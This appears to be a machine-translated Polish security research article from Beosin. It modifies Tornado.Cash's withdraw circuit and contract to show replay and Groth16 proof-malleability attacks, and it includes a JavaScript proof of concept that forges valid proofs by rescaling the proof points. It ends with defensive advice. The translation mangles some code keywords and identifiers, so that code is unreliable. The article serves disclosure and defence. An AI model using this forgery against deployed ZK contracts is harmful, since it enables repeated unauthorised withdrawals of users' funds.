Autor tego artykułu: eksperci ds. badań nad bezpieczeństwem firmy Beosin, Saya i Bryce
W poprzednim artykule wyjaśniliśmy podatność na skalowalność samego systemu dowodowego Groth16 z podstawowego punktu widzenia. W tym artykule jako przykład weźmiemy projekt Tornado.Cash, zmodyfikujemy niektóre jego obwody i kody oraz wprowadzimy atak skalowalności. procesu i mam nadzieję, że inne strony projektu Zkp również zwrócą uwagę na odpowiednie środki zapobiegawcze w projekcie.
Wśród nich Tornado.Cash jest rozwijany przy użyciu biblioteki snarkjs, która również opiera się na następującym procesie rozwoju. Zostanie on przedstawiony bezpośrednio później. Jeśli nie znasz tej biblioteki, przeczytaj pierwszy artykuł z tej serii. (Beosin | Dogłębna analiza luki w zabezpieczeniach ZK-SNARK odpornej na wiedzę zerową: Dlaczego system odporny na wiedzę zerową nie jest niezawodny?)
(Źródło: https://docs.circom.io/) 1 Architektura Tornado.Cash
Proces interakcji Tornado.Cash obejmuje głównie 4 podmioty:
Użytkownik: Użyj tej aplikacji DApp do przeprowadzania prywatnych transakcji na mikserze, w tym wpłat i wypłat. Strona internetowa: frontowa strona internetowa DApp, która zawiera kilka przycisków użytkownika. Relayer: Aby uniemożliwić węzłom w łańcuchu rejestrowanie adresu IP i innych informacji, które zainicjowały prywatną transakcję, serwer odtworzy transakcję w imieniu użytkownika, aby jeszcze bardziej zwiększyć prywatność. Kontrakt: Zawiera umowę proxy Tornado.Cash Proxy Ta umowa proxy wybierze wyznaczoną pulę Tornado dla kolejnych operacji wpłat i wypłat w oparciu o kwotę wpłat i wypłat użytkownika. Obecnie dostępne są 4 pule o kwotach: 0,1, 1, 10 i 100.
Użytkownik najpierw wykonuje odpowiednią operację na stronie frontowej Tornado.Cash, aby uruchomić transakcję wpłaty lub wypłaty. Następnie Relayer przekazuje swoje żądanie transakcji do kontraktu Tornado.Cash Proxy w sieci i przekazuje je do odpowiedniej Puli zgodnie z instrukcją. do kwoty transakcji Wreszcie, aby przetwarzać wpłaty i wypłaty, konkretna struktura jest następująca:
Jako mikser walut, specyficzne funkcje biznesowe Tornado.Cash są podzielone na dwie części:
Depozyt: Kiedy użytkownik dokonuje transakcji depozytowej, najpierw wybiera zdeponowany token (BNB, ETH itp.) i odpowiednią kwotę na stronie internetowej, aby lepiej zapewnić prywatność użytkownika, mogą to być tylko cztery kwoty zdeponowane;
Następnie serwer wygeneruje dwie 31-bajtowe liczby losowe nullifier i secret. Po ich splocie i wykonaniu operacji pedersenHash można uzyskać zobowiązanie. Wartość nullifier+secret plus prefiks zostanie zwrócona użytkownikowi jako notatka pokazane poniżej:
Następnie inicjowana jest transakcja depozytowa w celu przesłania zobowiązania i innych danych do kontraktu Tornado.Cash Proxy w łańcuchu. Umowa proxy przekazuje dane do odpowiedniej puli zgodnie z kwotą depozytu. Na koniec kontrakt Pool wstawia zobowiązanie jako liść do drzewa merkle i zapisz obliczony korzeń w kontrakcie Pool. wycofać: Kiedy użytkownik wykonuje transakcję wypłaty, najpierw wprowadza dane notatki i adres płatności zwrócony podczas dokonywania wpłaty na stronie internetowej Źródło: <https://ipfs.io/ipns/tornadocash.eth/> Następnie serwer zaloguje się do łańcucha Pobierz wszystkie zdarzenia dotyczące depozytów Tornadocash, wyodrębnij zatwierdzenia, aby zbudować drzewo Merkle w łańcuchu i wygeneruj zatwierdzenia w oparciu o dane notatki (nullifier + sekret) podane przez użytkownika i wygeneruj odpowiedni Merkle Ścieżka i odpowiadający jej katalog główny i użyj ich jako wejścia obwodu. Na koniec uzyskaj dowód SNARK o wiedzy zerowej, zainicjuj transakcję wypłaty do kontraktu Tornado.Cash Proxy w łańcuchu, a następnie przejdź do odpowiedniego kontraktu Pool zgodnie z parametrami, aby zweryfikować. dowód i przekaż pieniądze na adres odbiorcy wskazany przez użytkownika.
Wśród nich istotą wypłaty Tornado.Cash jest w rzeczywistości udowodnienie, że istnieje pewne zobowiązanie w drzewie Merkle bez ujawniania nullifiera i tajemnicy posiadanej przez użytkownika. Specyficzna struktura drzewa Merkle jest następująca:
2 Zmodyfikowana luka w Tornado.Cash Wersja 2.1 Zmodyfikowana Tornado.Cash
Jeśli chodzi o zasadę ataku skalowalności opisaną w pierwszym artykule Groth16, wiemy, że osoba atakująca może w rzeczywistości wygenerować wiele różnych dowodów przy użyciu tego samego nullyfikatora i sekretu. Jeśli programista nie weźmie pod uwagę ataku polegającego na podwójnym wydatkowaniu spowodowanego powtórką dowodu, będzie to stanowić zagrożenie Finansowanie projektu. Przed dokonaniem magicznych zmian w Tornado.Cash, w tym artykule najpierw przedstawiono kod w Puli, za pomocą którego Tornado.Cash w końcu obsługuje wypłatę:
/** @dev Wycofaj depozyt z kontraktu. `proof` to dowód zkSNARK, a input to tablica publicznych danych wejściowych obwodu Tablica `input` składa się z: - pierwiastka Merkle'a wszystkich depozytów w kontrakcie - skrótu unikalnego nullifiera depozytu zapobiegającego podwójnym wydatkom - odbiorcy środków - opcjonalnej opłaty, która trafia do nadawcy transakcji (zwykle przekaźnika) */ function withdrawal( bytes calldata _proof, bytes32 _root, bytes32 _nullifierHash, address payable _recipient, address payable _relayer, uint256 _fee, uint256 _refund ) external payable nonReentrant { require(_fee <= denomination, "Opłata przekracza wartość transferu"); require(!nullifierHashes[_nullifierHash], "Nota została już wydana"); require(isKnownRoot(_root), "Nie można znaleźć pierwiastka Merkle'a"); // Upewnij się, że używasz najnowszego require( verifier.verifyProof( _proof, [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund] ), "Nieprawidłowy dowód wypłaty" );
nullifierHashes[_nullifierHash] = true; _processWithdraw(_recipient, _relayer, _fee, _refund); emituj Withdrawal(_recipient, _nullifierHash, _relayer, _fee); }
Na powyższym obrazku, aby uniemożliwić atakującym użycie tego samego dowodu do przeprowadzenia ataków z podwójnym wydatkiem bez ujawniania nullifiera i sekretu, Tornado.Cash dodaje do obwodu publiczny sygnał nullifierHash, który jest uzyskiwany przez mieszanie nullifiera przez Pedersena i może zostać użyty jako parametr przekazany do łańcucha, kontrakt Pool następnie wykorzystuje tę zmienną do określenia, czy użyto prawidłowego dowodu. Ale jeśli strona projektu nie modyfikuje obwodu, ale bezpośrednio rejestruje dowód, aby zapobiec podwójnym wydatkom, w końcu może to zmniejszyć ograniczenia obwodu i zaoszczędzić koszty, ale czy może osiągnąć cel?
Jeśli chodzi o to przypuszczenie, w tym artykule nowo dodany publiczny sygnał nullifierHash zostanie usunięty z obwodu i zmieni weryfikację kontraktu na weryfikację dowodu. Ponieważ Tornado.Cash uzyska wszystkie zdarzenia dotyczące depozytu, aby zbudować drzewo Merkle za każdym razem, gdy zostanie wypłacona, a następnie sprawdzi, czy wygenerowana wartość główna mieści się w obrębie ostatnich 30 wygenerowanych wartości, cały proces jest zbyt kłopotliwy, więc obwód opisany w tym artykule będzie usuń również obwód merkleTree. Pozostał tylko obwód główny części wycofanej. Konkretny obwód jest następujący.
dołącz "../../../../node_modules/circomlib/circuits/bitify.circom"; dołącz "../../../../node_modules/circomlib/circuits/pedersen.circom";
// oblicza Pedersen(nullifier + sekret)template CommitmentHasher() { nullifier wejścia sygnału; sekret wejścia sygnału; zobowiązanie wyjścia sygnału; // nullifier wyjścia sygnałuHash; // usuń
zobowiązanie składnikaHasher = Pedersen(496); // nullifier składnikaHasher = Pedersen(248); nullifier składnikaBits = Num2Bits(248); secretBits składnika = Num2Bits(248);
nullifierBits.in <== nullifier; secretBits.in <== secret; for (var i = 0; i < 248; i++) { // nullifierHasher.in[i] <== nullifierBits.out[i]; // usuń commitHasher.in[i] <== nullifierBits.out[i]; commitHasher.in[i + 248] <== secretBits.out[i]; }
zobowiązanie <== engagementHasher.out[0]; // nullifierHash <== nullifierHasher.out[0]; // usuń}
// Sprawdza, czy zobowiązanie odpowiadające danemu sekretowi i nullifierowi jest zawarte w drzewie skróconym depozytów sygnał wyjściowy commit; sygnał wejściowy receiver; // nie bierze udziału w żadnych obliczeniach sygnał wejściowy relayer; // nie bierze udziału w żadnych obliczeniach sygnał wejściowy fee; // nie bierze udziału w żadnych obliczeniach sygnał wejściowy refund; // nie bierze udziału w żadnych obliczeniach sygnał wejściowy nullifier; sygnał wejściowy secret; component hasher = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== secret; commit <== hasher.commitment;
// Dodaj ukryte sygnały, aby mieć pewność, że manipulacja odbiorcą lub opłatą unieważni zabezpieczenie przed złośliwością // Najprawdopodobniej nie jest to wymagane, ale lepiej zachować ostrożność, a wymagane są tylko 2 ograniczenia // Kwadraty służą do uniemożliwienia optymalizatorowi usunięcia tych ograniczeń. odbiorca sygnałuKwadrat; opłata sygnałuKwadrat; przekaźnik sygnałuKwadrat; zwrot sygnałuKwadrat;
odbiorcaSquare <== odbiorca * odbiorca; opłataSquare <== opłata * opłata; relayerSquare <== przekazujący * przekazujący; refundSquare <== zwrot * zwrot;
}
składnik główny = Wycofaj(20);
Uwaga: Podczas eksperymentu odkryliśmy, że w najnowszej wersji kodu TornadoCash w GitHub (https://github.com/tornadocash/tornado-core) obwód wypłaty nie ma sygnału wyjściowego i wymaga ręcznej korekty, aby działać poprawnie.
W oparciu o powyższy zmodyfikowany obwód użyj biblioteki snarkjs itp., aby postępować krok po kroku zgodnie z procesem programowania podanym na początku tego artykułu i wygeneruj następujący normalny dowód, zapisany jako dowód 1:
Dowód: { pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304052946457319632960669053932271922876268005970n, 1n ], pi_b: [ [ 4424670283556465622197187546754094667837383166479615474515182183878046002081n, 8088104569927474555610665242983621221932062 943927262293572649061565902268616n ], [ 9194248463115986940359811988096155965376840166464829609545491502209803154186n, 18373139073981696655136870665800393986130876498128887091087060068369811557306n ], [ 1n, 0n ] ], pi_c: [ 1626407734863381433630916916203225704171957179582436403191883565668143772631n, 10375204902125491773178253544576299821079735144068419595539416984653646546215n, 1n ], protokół: 'groth16', krzywa: 'bn128'}
2.2 Weryfikacja eksperymentalna
2.2.1 Dowód weryfikacji — umowa domyślna wygenerowana przez circom
Po pierwsze, do weryfikacji używamy domyślnej umowy wygenerowanej przez circom. Ponieważ umowa ta nie rejestruje żadnych wykorzystanych informacji związanych z dowodem, osoba atakująca może wielokrotnie odtworzyć dowód 1, aby spowodować atak polegający na podwójnym wydatkowaniu. W poniższych eksperymentach dowód można odtwarzać nieograniczoną liczbę razy dla tego samego wejścia tego samego obwodu i wszystkie mogą przejść weryfikację.
Poniższy obrazek przedstawia zrzut ekranu eksperymentu wykorzystującego dowód 1 w celu udowodnienia, że weryfikacja została pomyślnie pomyślnie przeprowadzona w umowie domyślnej, w tym parametry dowodu A, B i C użyte w poprzednim artykule oraz wynik końcowy:
Poniższy rysunek przedstawia wynik wielokrotnego użycia tego samego dowodu 1 w celu weryfikacji. Eksperyment wykazał, że dla tych samych danych wejściowych, niezależnie od tego, ile razy atakujący użyje dowodu 1 do weryfikacji, może on przejść pomyślnie:
Oczywiście, kiedy testowaliśmy go w natywnej bazie kodu js snarkjs, nie podjęliśmy środków ostrożności w stosunku do już użytego dowodu. Wyniki eksperymentu są następujące:
2.2.2 Dowód weryfikacyjny — Zwykła umowa zapobiegająca powtórce
Ze względu na lukę w umowie domyślnej wygenerowanej przez circom, w artykule tym zapisano wartość w prawidłowym dowodzie (dowód 1), która została wykorzystana do zapobiegania atakom polegającym na powtórzeniu przy użyciu zweryfikowanego dowodu, jak pokazano na poniższym rysunku:
Kontynuuj używanie dowodu 1 do weryfikacji. Eksperyment wykazał, że w przypadku użycia tego samego dowodu do weryfikacji wtórnej przy cofnięciu transakcji zgłoszono błąd: „Notatka została już wydana”. Wynik jest taki, jak pokazano na poniższym rysunku:
Jednakże, chociaż cel zapobiegania zwykłym atakom polegającym na odtwarzaniu dowodu został już osiągnięty, algorytm groth16 ma, jak wprowadzono wcześniej, lukę w zabezpieczeniach związaną z plastycznością i ten środek zapobiegawczy nadal można ominąć. Zatem na poniższym rysunku konstruujemy PoC i generujemy fałszywy certyfikat zk-SNARK dla tych samych danych wejściowych, zgodnie z algorytmem z pierwszego artykułu. Eksperyment wykazał, że nadal może on przejść weryfikację. Kod PoC służący do wygenerowania sfałszowanego dowodu2 jest następujący:
import WasmCurve z "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField z "/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve z "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify z "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * jako krzywe z "/Users/saya/node_modules/snarkjs/src/curves.js";import fs z "fs";import { utils } z "ffjavascript";const {unstringifyBigInts} = narzędzia;
groth16_exp(); funkcja asynchroniczna groth16_exp(){ niech inputA = "7"; niech inputB = "11"; const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');
// 2. Przeczytaj ciąg i przekonwertuj go na int const dowód = oczekuj unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8"))); console.log("Dowód:",proof ) ;
// Wygeneruj element odwrotny, wygenerowany element odwrotny musi znajdować się w polu F1 const F = new ZqField(SNARK_FIELD_SIZE); // const F = new F2Field(SNARK_FIELD_SIZE); const X = F.e("123456") const invX = F.inv ( X) console.log("x:" ,X ) console.log("invX" ,invX) console.log("Skalar czasów to:",F.mul(X,invX))
// Sprawdź krzywą G1 i G2 const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8")); // console.log("Krzywa to:",vKey); const curve = await curves.getCurveFromName(vKey.curve);
const G1 = krzywa.G1; const G2 = krzywa.G2; const A = G1.fromObject(proof.pi_a); const B = G2.fromObject(proof.pi_b); const C = G1.fromObject(proof.pi_c);
const new_pi_a = G1.timesScalar(A, X); //A'=x*A const new_pi_b = G2.timesScalar(B, invX); //B'=x^{-1}*B
dowód.pi_a = G1.toObject(G1.toAffine(A)); dowód.nowy_pi_a = G1.toObject(G1.toAffine(nowe_pi_a)) dowód.nowy_pi_b = G2.toObject(G2.toAffine(nowe_pi_b))
// Konwertuj wygenerowane punkty G1 i G2 na dowód console.log("proof.pi_a:",proof.pi_a); console.log("proof.new_pi_a:",proof.new_pi_a) console.log("proof. new_pi_b :", dowód.nowy_pi_b)
}
Wygenerowany sfałszowany dowód2 jest pokazany na poniższym rysunku:
dowód.pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304052946457319632960669053932271922876268005970n, 1n]dowód.nowy_pi_a: [ 3268624544870461100664351611568866361125322693726990010349657497609444389527n, 21156099942559593159790898693162006358905276643480284336017680361717954148668n, 1n]dowód.nowy_pi_b: [ [ 2017004938108461976377332931028520048391650017861855986117340314722708331101n, 6901316944871385425597366288561266915582095 050959790709831410010627836387777n], [ 17019460532187637789507174563951687489832996457696195974253666014392120448346n, 7320211194249460400170431279189485965933578983661252776040008442689480757963n], [ 1n, 0n ]]
W przypadku użycia tego parametru do ponownego wywołania funkcji VerifyProof w celu weryfikacji dowodu eksperyment wykazał, że weryfikacja proof2 przebiegła pomyślnie ponownie przy tych samych danych wejściowych, jak pokazano poniżej:
Chociaż sfałszowany dowód2 może zostać użyty tylko raz, ponieważ istnieje prawie nieskończona liczba sfałszowanych dowodów dla tego samego wejścia, może to spowodować nieograniczoną liczbę wycofań środków z umowy.
W tym artykule do testowania wykorzystano także kod js biblioteki circom. Zarówno wyniki eksperymentalne, dowód 1, jak i fałszywy dowód 2, mogą przejść weryfikację:
2.2.3 Dowód weryfikacji — umowa powtórki Tornado.Cash
Czy po tylu niepowodzeniach nie ma sposobu, aby naprawić to raz na zawsze? Zgodnie z metodą zastosowaną w Tornado.Cash w celu sprawdzenia, czy oryginalne dane wejściowe zostały użyte, w tym artykule w dalszym ciągu modyfikuje się kod umowy w następujący sposób:
Należy zauważyć, że w celu zademonstrowania prostych środków zapobiegających atakom na skalowalność algorytmu groth16, w tym artykule przyjęto metodę bezpośredniego rejestrowania sygnału wejściowego oryginalnego obwodu, jednak nie jest to zgodne z zasadą prywatności dowodu wiedzy zerowej wejście obwodu powinno być poufne. **Na przykład wszystkie dane wejściowe w Tornado.Cash są prywatne i musisz dodać nowe publiczne dane wejściowe, aby oznaczyć dowód. Ponieważ w tym artykule nie ma nowego logo w obwodzie, prywatność jest gorsza niż w przypadku Tornado.Cash. Jest ono używane tylko jako eksperymentalne demo, aby pokazać wyniki w następujący sposób:
Można zauważyć, że na powyższym rysunku dowód wykorzystujący te same dane wejściowe może przejść weryfikację jedynie za pierwszym razem, a następnie ani dowód1, ani sfałszowany dowód2 nie przejdą weryfikacji.
3 Podsumowanie i sugestie
Artykuł ten głównie weryfikuje autentyczność i szkodliwość luki w zabezpieczeniach polegającej na odtwarzaniu poprzez modyfikację obwodu TornadoCash i wykorzystanie domyślnej umowy generowanej przez Circom, powszechnie używanej przez programistów, a ponadto weryfikuje, czy zwykłe środki stosowane na poziomie umowy mogą chronić przed luką w zakresie powtarzania, ale nie może temu zapobiec atakowi plastyczności Groth16. W związku z tym zalecamy, aby projekty odporne na wiedzę zerową zwracały uwagę na następujące kwestie podczas opracowywania projektów:
W odróżnieniu od sposobu, w jaki tradycyjne DAppy wykorzystują unikalne dane, takie jak adresy, do generowania danych węzłów, projekty ZKP zwykle wykorzystują kombinację liczb losowych do generowania węzłów drzewa Merkle. Należy zwrócić uwagę, czy logika biznesowa pozwala na wstawianie węzłów z tymi samymi wartość. Ponieważ te same dane węzła liścia mogą spowodować zablokowanie środków niektórych użytkowników w umowie lub w tych samych danych węzła liścia może znajdować się wiele dowodów Merkle Proof, co dezorientuje logikę biznesową.
Zespół projektowy zkp zwykle używa mapowania do rejestrowania użytego dowodu, aby zapobiec atakom typu double-spend. Należy zauważyć, że podczas programowania przy użyciu Groth16, ze względu na istnienie ataków skalowalności, do rejestracji muszą zostać użyte oryginalne dane węzła, a nie tylko identyfikacja danych związana z dowodem.
Złożone obwody mogą powodować problemy, takie jak niepewność obwodu i brak ograniczeń, niekompletne warunki podczas weryfikacji umowy, luki w logice implementacji itp. Zdecydowanie zalecamy, aby strony projektu po uruchomieniu projektu poszukały firmy audytorskiej bezpieczeństwa, która przeprowadzi pewne badania dotyczące obwodów i umów Przeprowadzić kompleksowy audyt, aby zapewnić jak największe bezpieczeństwo projektu.
